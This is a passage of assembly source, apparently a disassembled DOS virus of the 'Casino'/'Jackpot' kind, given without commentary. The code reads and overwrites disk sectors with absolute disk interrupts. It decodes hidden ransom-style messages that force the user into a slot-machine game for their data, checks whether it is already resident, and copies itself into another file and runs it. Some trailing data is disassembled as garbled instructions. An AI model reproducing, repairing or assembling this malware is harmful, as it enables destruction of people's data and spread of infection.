db 0B4h, 2Ah, 0CDh, 21h, 80h, 0FAh
|
|
db 0Fh, 74h, 3, 0E9h, 0A2h, 1
|
|
loc_23:
|
|
cmp dh,1
|
|
je loc_24 ; Jump if equal
|
|
cmp dh,4
|
|
je loc_24 ; Jump if equal
|
|
cmp dh,8
|
|
je loc_24 ; Jump if equal
|
|
jmp loc_36 ; (0A33)
|
|
loc_24:
|
|
call sub_8 ; (09EB)
|
|
push ds
|
|
pop es
|
|
mov si,613h
|
|
mov di,613h
|
|
mov cx,305h
|
|
cld ; Clear direction
|
|
|
|
locloop_25:
|
|
lodsb ; String [si] to al
|
|
sub al,64h ; 'd'
|
|
stosb ; Store al to es:[di]
|
|
loop locloop_25 ; Loop if cx > 0
|
|
|
|
mov dx,613h
|
|
mov ah,9
|
|
int 21h ; DOS Services ah=function 09h
|
|
; display char string at ds:dx
|
|
loc_26:
|
|
mov ah,7
|
|
int 21h ; DOS Services ah=function 07h
|
|
; get keybd char al, no echo
|
|
mov byte ptr ds:data_2e,64h ; (0000:060D=0) 'd'
|
|
nop
|
|
mov byte ptr ds:data_3e,78h ; (0000:060E=0) 'x'
|
|
nop
|
|
mov byte ptr ds:data_4e,0B4h ; (0000:060F=0)
|
|
nop
|
|
mov ah,2Ch ; ','
|
|
int 21h ; DOS Services ah=function 2Ch
|
|
; get time, cx=hrs/min, dh=sec
|
|
mov bl,dh
|
|
mov bh,0
|
|
mov ch,0
|
|
mov dh,0
|
|
add cl,dl
|
|
mov ax,cx
|
|
mov cl,3
|
|
div cl ; al, ah rem = ax/reg
|
|
mov ds:data_5e,ah ; (0000:0610=0)
|
|
mov ax,dx
|
|
mov dl,3
|
|
div dl ; al, ah rem = ax/reg
|
|
mov ds:data_6e,ah ; (0000:0611=0)
|
|
mov ax,bx
|
|
div dl ; al, ah rem = ax/reg
|
|
mov ds:data_7e,ah ; (0000:0612=0)
|
|
dec byte ptr ds:data_1e ; (0000:060C=0)
|
|
mov al,ds:data_1e ; (0000:060C=0)
|
|
add al,30h ; '0'
|
|
mov dh,0Dh
|
|
mov dl,26h ; '&'
|
|
mov bx,0
|
|
mov ah,2
|
|
int 10h ; Video display ah=functn 02h
|
|
; set cursor location in dx
|
|
mov ah,0Eh
|
|
int 10h ; Video display ah=functn 0Eh
|
|
; write char al, teletype mode
|
|
loc_27:
|
|
mov dx,1FFFh
|
|
loc_28:
|
|
nop
|
|
nop
|
|
nop
|
|
dec dx
|
|
jnz loc_28 ; Jump if not zero
|
|
mov al,ds:data_2e ; (0000:060D=0)
|
|
cmp al,ds:data_5e ; (0000:0610=0)
|
|
je loc_29 ; Jump if equal
|
|
mov dl,19h
|
|
mov al,ds:data_2e ; (0000:060D=0)
|
|
call sub_7 ; (09C9)
|
|
mov al,ds:data_2e ; (0000:060D=0)
|
|
dec al
|
|
mov ds:data_2e,al ; (0000:060D=0)
|
|
loc_29:
|
|
mov al,ds:data_3e ; (0000:060E=0)
|
|
cmp al,ds:data_6e ; (0000:0611=0)
|
|
je loc_30 ; Jump if equal
|
|
mov dl,21h ; '!'
|
|
mov al,ds:data_3e ; (0000:060E=0)
|
|
call sub_7 ; (09C9)
|
|
dec byte ptr ds:data_3e ; (0000:060E=0)
|
|
loc_30:
|
|
mov al,ds:data_4e ; (0000:060F=0)
|
|
cmp al,ds:data_7e ; (0000:0612=0)
|
|
je loc_31 ; Jump if equal
|
|
mov dl,29h ; ')'
|
|
mov al,ds:data_4e ; (0000:060F=0)
|
|
call sub_7 ; (09C9)
|
|
dec byte ptr ds:data_4e ; (0000:060F=0)
|
|
loc_31:
|
|
mov al,ds:data_4e ; (0000:060F=0)
|
|
cmp al,ds:data_7e ; (0000:0612=0)
|
|
jne loc_27 ; Jump if not equal
|
|
mov ah,ds:data_3e ; (0000:060E=0)
|
|
cmp ah,ds:data_6e ; (0000:0611=0)
|
|
jne loc_27 ; Jump if not equal
|
|
mov bl,ds:data_2e ; (0000:060D=0)
|
|
cmp bl,ds:data_5e ; (0000:0610=0)
|
|
jne loc_27 ; Jump if not equal
|
|
cmp al,0
|
|
jne loc_32 ; Jump if not equal
|
|
cmp ah,0
|
|
jne loc_32 ; Jump if not equal
|
|
cmp bl,0
|
|
jne loc_32 ; Jump if not equal
|
|
mov dx,80Ah
|
|
mov ah,9
|
|
int 21h ; DOS Services ah=function 09h
|
|
; display char string at ds:dx
|
|
call sub_9 ; (0A18)
|
|
jmp short loc_35 ; (09C7)
|
|
db 90h
|
|
loc_32:
|
|
cmp al,1
|
|
jne loc_33 ; Jump if not equal
|
|
cmp ah,1
|
|
jne loc_33 ; Jump if not equal
|
|
cmp bl,1
|
|
jne loc_33 ; Jump if not equal
|
|
mov dx,88Dh
|
|
mov ah,9
|
|
int 21h ; DOS Services ah=function 09h
|
|
; display char string at ds:dx
|
|
jmp short loc_34 ; (09BD)
|
|
db 90h
|
|
loc_33:
|
|
mov al,ds:data_1e ; (0000:060C=0)
|
|
cmp al,0
|
|
je loc_34 ; Jump if equal
|
|
jmp loc_26 ; (08BF)
|
|
loc_34:
|
|
mov dx,8D6h
|
|
mov ah,9
|
|
int 21h ; DOS Services ah=function 09h
|
|
; display char string at ds:dx
|
|
jmp short loc_35 ; (09C7)
|
|
nop
|
|
loc_35:
|
|
jmp short loc_35 ; (09C7)
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_7 proc near
|
|
mov ah,0
|
|
push ax
|
|
mov dh,0Bh
|
|
mov ah,2
|
|
mov bh,0
|
|
int 10h ; Video display ah=functn 02h
|
|
; set cursor location in dx
|
|
pop ax
|
|
mov bl,3
|
|
div bl ; al, ah rem = ax/reg
|
|
mov bl,ah
|
|
mov bh,0
|
|
add bx,609h
|
|
mov al,[bx]
|
|
mov ah,0Eh
|
|
mov bx,0
|
|
int 10h ; Video display ah=functn 0Eh
|
|
; write char al, teletype mode
|
|
retn
|
|
sub_7 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_8 proc near
|
|
push ds
|
|
mov bx,ds
|
|
add bx,1000h
|
|
mov ds,bx
|
|
mov bx,0
|
|
mov ah,19h
|
|
int 21h ; DOS Services ah=function 19h
|
|
; get default drive al (0=a:)
|
|
mov cx,50h
|
|
mov dx,0
|
|
int 25h ; Absolute disk read, drive al
|
|
popf ; Pop flags
|
|
mov bx,0
|
|
mov ds,bx
|
|
mov ah,19h
|
|
int 21h ; DOS Services ah=function 19h
|
|
; get default drive al (0=a:)
|
|
mov cx,50h
|
|
mov dx,0
|
|
int 26h ; Absolute disk write, drive al
|
|
popf ; Pop flags
|
|
pop ds
|
|
retn
|
|
sub_8 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_9 proc near
|
|
push ds
|
|
mov bx,ds
|
|
add bx,1000h
|
|
mov ds,bx
|
|
mov bx,0
|
|
mov ah,19h
|
|
int 21h ; DOS Services ah=function 19h
|
|
; get default drive al (0=a:)
|
|
mov cx,50h
|
|
mov dx,0
|
|
int 26h ; Absolute disk write, drive al
|
|
popf ; Pop flags
|
|
pop ds
|
|
retn
|
|
sub_9 endp
|
|
|
|
loc_36:
|
|
mov bx,0
|
|
mov ax,4B59h
|
|
int 21h ; DOS Services ah=function 4Bh
|
|
; run progm @ds:dx, parm @es:bx
|
|
cmp ax,666h
|
|
jne loc_37 ; Jump if not equal
|
|
jmp loc_41 ; (0AF0)
|
|
loc_37:
|
|
push ds
|
|
pop es
|
|
push ds
|
|
push cs
|
|
pop ds
|
|
mov si,0
|
|
mov di,917h
|
|
mov cx,100h
|
|
cld ; Clear direction
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
pop ds
|
|
mov ah,2Fh ; '/'
|
|
int 21h ; DOS Services ah=function 2Fh
|
|
; get DTA ptr into es:bx
|
|
mov ds:data_14e,bx ; (6AE6:0041=0)
|
|
mov ds:data_15e,es ; (6AE6:0043=6AE6h)
|
|
mov dx,4Eh
|
|
mov ah,1Ah
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA to ds:dx
|
|
mov dx,11h
|
|
mov cx,3Fh
|
|
mov ah,4Eh ; 'N'
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
jc loc_38 ; Jump if carry Set
|
|
mov dx,11h
|
|
call sub_1 ; (06EE)
|
|
cmp dl,1
|
|
jne loc_38 ; Jump if not equal
|
|
call sub_2 ; (073C)
|
|
loc_38:
|
|
call sub_5 ; (07FD)
|
|
mov dx,20h
|
|
mov cx,2
|
|
mov ah,3Ch ; '<'
|
|
int 21h ; DOS Services ah=function 3Ch
|
|
; create/truncate file @ ds:dx
|
|
jc loc_40 ; Jump if carry Set
|
|
mov bx,ax
|
|
mov dx,0
|
|
mov cx,91Ah
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
push ax
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
pop ax
|
|
cmp ax,cx
|
|
je loc_39 ; Jump if equal
|
|
mov dx,20h
|
|
mov ah,41h ; 'A'
|
|
int 21h ; DOS Services ah=function 41h
|
|
; delete file, name @ ds:dx
|
|
jmp short loc_40 ; (0AD1)
|
|
db 90h
|
|
loc_39:
|
|
push cs
|
|
pop es
|
|
mov bx,cs:data_8e ; (6AE6:0002=0)
|
|
sub bx,92Ch
|
|
mov cx,cs
|
|
sub bx,cx
|
|
mov ah,4Ah ; 'J'
|
|
int 21h ; DOS Services ah=function 4Ah
|
|
; change mem allocation, bx=siz
|
|
mov dx,20h
|
|
push ds
|
|
pop es
|
|
mov bx,2Dh
|
|
mov ax,4B00h
|
|
int 21h ; DOS Services ah=function 4Bh
|
|
; run progm @ds:dx, parm @es:bx
|
|
loc_40:
|
|
call sub_6 ; (0813)
|
|
push cs
|
|
pop es
|
|
mov di,0
|
|
mov si,917h
|
|
mov cx,0FFh
|
|
cld ; Clear direction
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
mov dx,ds:data_14e ; (6AE6:0041=0)
|
|
mov bx,ds:data_15e ; (6AE6:0043=6AE6h)
|
|
mov ds,bx
|
|
mov ah,1Ah
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA to ds:dx
|
|
loc_41:
|
|
push cs
|
|
pop ds
|
|
jmp $-0F32h
|
|
jmp $+3DFh
|
|
db 48h, 9Bh, 9Ch, 3Fh, 5, 0Ah
|
|
db 5, 3, 1, 3, 0, 6Eh
|
|
db 71h, 6Dh, 6Dh, 84h, 84h, 84h
|
|
db 0A8h, 0ADh, 0B7h, 0AFh, 84h, 0A8h
|
|
db 0A9h, 0B7h, 0B8h, 0B6h, 0B3h, 0BDh
|
|
db 0A9h, 0B6h, 84h, 5Dh, 84h, 0A5h
|
|
db 84h, 0B7h, 0B3h, 0B9h, 0BAh, 0A9h
|
|
db 0B2h, 0ADh, 0B6h, 84h, 0B3h, 0AAh
|
|
db 84h, 0B1h, 0A5h, 0B0h, 0B8h, 0A5h
|
|
db 6Eh, 71h, 6Eh, 71h, 6Dh, 6Dh
|
|
db 0ADh, 84h, 0CCh, 0C5h, 0DAh, 0C9h
|
|
db 84h, 0CEh, 0D9h, 0D7h, 0D8h, 84h
|
|
db 0A8h, 0A9h, 0B7h, 0B8h, 0B6h, 0B3h
|
|
db 0BDh, 0A9h, 0A8h, 84h, 0D8h, 0CCh
|
|
db 0C9h, 84h, 0AAh, 0A5h, 0B8h, 84h
|
|
db 0D3h, 0D2h, 84h, 0DDh, 0D3h, 0D9h
|
|
db 0D6h, 84h, 0A8h, 0CDh, 0D7h, 0CFh
|
|
db 84h, 85h, 85h, 6Eh, 71h, 84h
|
|
db 84h, 84h, 84h, 84h, 84h, 0ACh
|
|
db 0D3h, 0DBh, 0C9h, 0DAh, 0C9h, 0D6h
|
|
db 90h, 84h, 0ADh, 84h, 0CCh, 0C5h
|
|
db 0DAh, 0C9h, 84h, 0C5h, 84h, 0C7h
|
|
db 0D3h, 0D4h, 0DDh, 84h, 0CDh, 0D2h
|
|
db 84h, 0B6h, 0A5h, 0B1h, 90h, 84h
|
|
db 0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h
|
|
db 0D1h, 84h, 0CBh, 0CDh, 0DAh, 0CDh
|
|
db 0D2h, 0CBh, 84h, 0DDh, 0D3h, 0D9h
|
|
db 84h, 0C5h, 84h, 0D0h, 0C5h, 0D7h
|
|
db 0D8h, 84h, 0C7h, 0CCh, 0C5h, 0D2h
|
|
db 0C7h, 0C9h, 6Eh, 71h, 6Dh, 6Dh
|
|
db 6Dh, 0D8h, 0D3h, 84h, 0D6h, 0C9h
|
|
db 0D7h, 0D8h, 0D3h, 0D6h, 0C9h, 84h
|
|
db 0DDh, 0D3h, 0D9h, 0D6h, 84h, 0D4h
|
|
db 0D6h, 0C9h, 0C7h, 0CDh, 0D3h, 0D9h
|
|
db 0D7h, 84h, 0C8h, 0C5h, 0D8h, 0C5h
|
|
db 92h, 6Eh, 71h, 84h, 84h, 84h
|
|
db 84h, 84h, 0BBh, 0A5h, 0B6h, 0B2h
|
|
db 0ADh, 0B2h, 0ABh, 9Eh, 84h, 0ADh
|
|
db 0AAh, 84h, 0BDh, 0B3h, 0B9h, 84h
|
|
db 0B6h, 0A9h, 0B7h, 0A9h, 0B8h, 84h
|
|
db 0B2h, 0B3h, 0BBh, 90h, 84h, 0A5h
|
|
db 0B0h, 0B0h, 84h, 0BDh, 0B3h, 0B9h
|
|
db 0B6h, 84h, 0A8h, 0A5h, 0B8h, 0A5h
|
|
db 84h, 0BBh, 0ADh, 0B0h, 0B0h, 84h
|
|
db 0A6h, 0A9h, 84h, 0B0h, 0B3h, 0B7h
|
|
db 0B8h, 84h, 91h, 84h, 0AAh, 0B3h
|
|
db 0B6h, 0A9h, 0BAh, 0A9h, 0B6h, 84h
|
|
db 85h, 85h, 6Eh, 71h, 6Dh, 6Dh
|
|
db 84h, 84h, 84h, 0BDh, 0D3h, 0D9h
|
|
db 0D6h, 84h, 0A8h, 0C5h, 0D8h, 0C5h
|
|
db 84h, 0C8h, 0C9h, 0D4h, 0C9h, 0D2h
|
|
db 0C8h, 0D7h, 84h, 0D3h, 0D2h, 84h
|
|
db 0C5h, 84h, 0CBh, 0C5h, 0D1h, 0C9h
|
|
db 84h, 0D3h, 0CAh, 84h, 0AEh, 0A5h
|
|
db 0A7h, 0AFh, 0B4h, 0B3h, 0B8h, 71h
|
|
db 6Eh, 71h, 6Eh, 6Dh, 6Dh, 84h
|
|
db 84h, 84h, 84h, 84h, 84h, 0A7h
|
|
db 0A5h, 0B7h, 0ADh, 0B2h, 0B3h, 84h
|
|
db 0A8h, 0A9h, 84h, 0B1h, 0A5h, 0B0h
|
|
db 0B8h, 0A9h, 84h, 0AEh, 0A5h, 0A7h
|
|
db 0AFh, 0B4h, 0B3h, 0B8h
|
|
db 'nqnqmmm-1'
|
|
db 1Fh, 6Dh, 2Dh, 31h, 1Fh, 6Dh
|
|
db 2Dh, 31h, 1Fh, 6Eh, 71h, 6Dh
|
|
db 6Dh, 6Dh, 3Bh, 0, 3Bh, 6Dh
|
|
db 3Bh, 0A3h, 3Bh, 6Dh, 3Bh, 0FFh
|
|
db ';nqmmm,1 m,1 m,1 nqmmm'
|
|
db 84h, 84h, 84h, 84h, 0A7h, 0B6h
|
|
db 0A9h, 0A8h, 0ADh, 0B8h, 0B7h, 84h
|
|
db 9Eh, 84h, 99h
|
|
db 'nqqnqnmmm'
|
|
db 0, 0, 0, 84h, 0A1h, 84h
|
|
db 0BDh, 0D3h, 0D9h, 0D6h, 84h, 0A8h
|
|
db 0CDh, 0D7h, 0CFh, 6Eh, 71h, 6Dh
|
|
db 6Dh, 6Dh, 0A3h, 0A3h, 0A3h, 84h
|
|
db 0A1h, 84h, 0B1h, 0DDh, 84h, 0B4h
|
|
db 0CCh, 0D3h, 0D2h, 0C9h, 84h, 0B2h
|
|
db 0D3h, 92h, 6Eh, 71h, 6Eh, 71h
|
|
db 6Dh, 6Dh, 6Dh, 0A5h, 0B2h, 0BDh
|
|
db 84h, 0AFh, 0A9h, 0BDh, 84h, 0B8h
|
|
db 0B3h, 84h, 0B4h, 0B0h, 0A5h, 0BDh
|
|
db 'qnqnqnqnqn'
|
|
db 88h, 6Eh, 71h, 0A6h, 0A5h, 0B7h
|
|
db 0B8h, 0A5h, 0B6h, 0A8h, 84h, 85h
|
|
db 84h, 0BDh, 0D3h, 0D9h, 0C4h, 0D6h
|
|
db 0C9h, 84h, 0D0h, 0D9h, 0C7h, 0CFh
|
|
db 0DDh, 84h, 0D8h, 0CCh, 0CDh, 0D7h
|
|
db 84h, 0D8h, 0CDh, 0D1h, 0C9h, 84h
|
|
db 91h, 84h, 0C6h, 0D9h, 0D8h, 84h
|
|
db 0CAh, 0D3h, 0D6h, 84h, 0DDh, 0D3h
|
|
db 0D9h, 0D6h, 84h, 0D3h, 0DBh, 0D2h
|
|
db 84h, 0D7h, 0C5h, 0CFh, 0C9h, 90h
|
|
db 84h, 0D2h, 0D3h, 0DBh, 6Eh, 71h
|
|
db 0B7h, 0BBh, 0ADh, 0B8h, 0A7h, 0ACh
|
|
db 84h, 0B3h, 0AAh, 0AAh, 84h, 0BDh
|
|
db 0B3h, 0B9h, 0B6h, 84h, 0A7h, 0B3h
|
|
db 0B1h, 0B4h, 0B9h, 0B8h, 0A9h, 0B6h
|
|
db 84h, 0A5h, 0B2h, 0A8h, 84h, 0A8h
|
|
db 0B3h, 0B2h, 0C4h, 0B8h, 84h, 0B8h
|
|
db 0B9h, 0B6h
|
|
loc_42:
|
|
mov dl,84h
|
|
lodsw ; String [si] to ax
|
|
mov ax,0B384h
|
|
mov dl,84h
|
|
mov ax,0B0ADh
|
|
mov al,84h
|
|
mov ax,0B1B3h
|
|
mov bl,0B6h
|
|
mov dh,0B3h
|
|
mov bx,8584h
|
|
test ax,ds:data_33e[di] ; (6AE6:716E=0)
|
|
mov [bp+71h],ch
|
|
mov dl,0D3h
|
|
test ch,[bp+si-3827h]
|
|
iret ; Interrupt return
|
|
db 0CDh, 0D2h, 0C4h, 84h, 0A7h, 0CCh
|
|
db 0C5h, 0D2h, 0C7h, 0C9h, 9Fh, 84h
|
|
db 0C5h, 0D2h, 0C8h, 84h, 0ADh, 0C4h
|
|
db 0D1h, 84h, 0D4h, 0D9h, 0D2h, 0CDh
|
|
db 0D7h, 0CCh, 0CDh, 0D2h, 0CBh, 84h
|
|
db 0DDh, 0D3h, 0D9h, 84h, 0CAh, 0D3h
|
|
db 0D6h, 84h, 0D8h, 0D6h, 0DDh, 0CDh
|
|
db 0D2h, 0CBh, 84h, 0D8h, 0D3h, 84h
|
|
db 0D8h, 0D6h, 0C5h, 0C7h, 0C9h, 84h
|
|
db 0D1h, 0C9h, 84h, 0C8h, 0D3h, 0DBh
|
|
db 0D2h, 84h, 85h, 88h, 6Eh, 71h
|
|
db 0ACh, 0A5h, 84h, 0ACh, 0A5h, 84h
|
|
db 85h, 85h, 84h, 0BDh, 0D3h, 0D9h
|
|
db 84h, 0C5h, 0D7h, 0D7h, 0CCh, 0D3h
|
|
db 0D0h, 0C9h, 90h, 84h, 0DDh, 0D3h
|
|
db 0D9h, 0C4h, 0DAh, 0C9h, 84h, 0D0h
|
|
db 0D3h, 0D7h, 0D8h, 9Eh, 84h, 0D7h
|
|
db 0C5h, 0DDh, 84h, 0A6h, 0DDh, 0C9h
|
|
db 84h, 0D8h, 0D3h, 84h, 0DDh, 0D3h
|
|
db 0D9h, 0D6h, 84h, 0A6h, 0C5h, 0D0h
|
|
db 0D0h, 0D7h, 84h, 92h, 92h, 92h
|
|
db 6Eh, 71h, 88h, 0CDh, 20h, 0
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|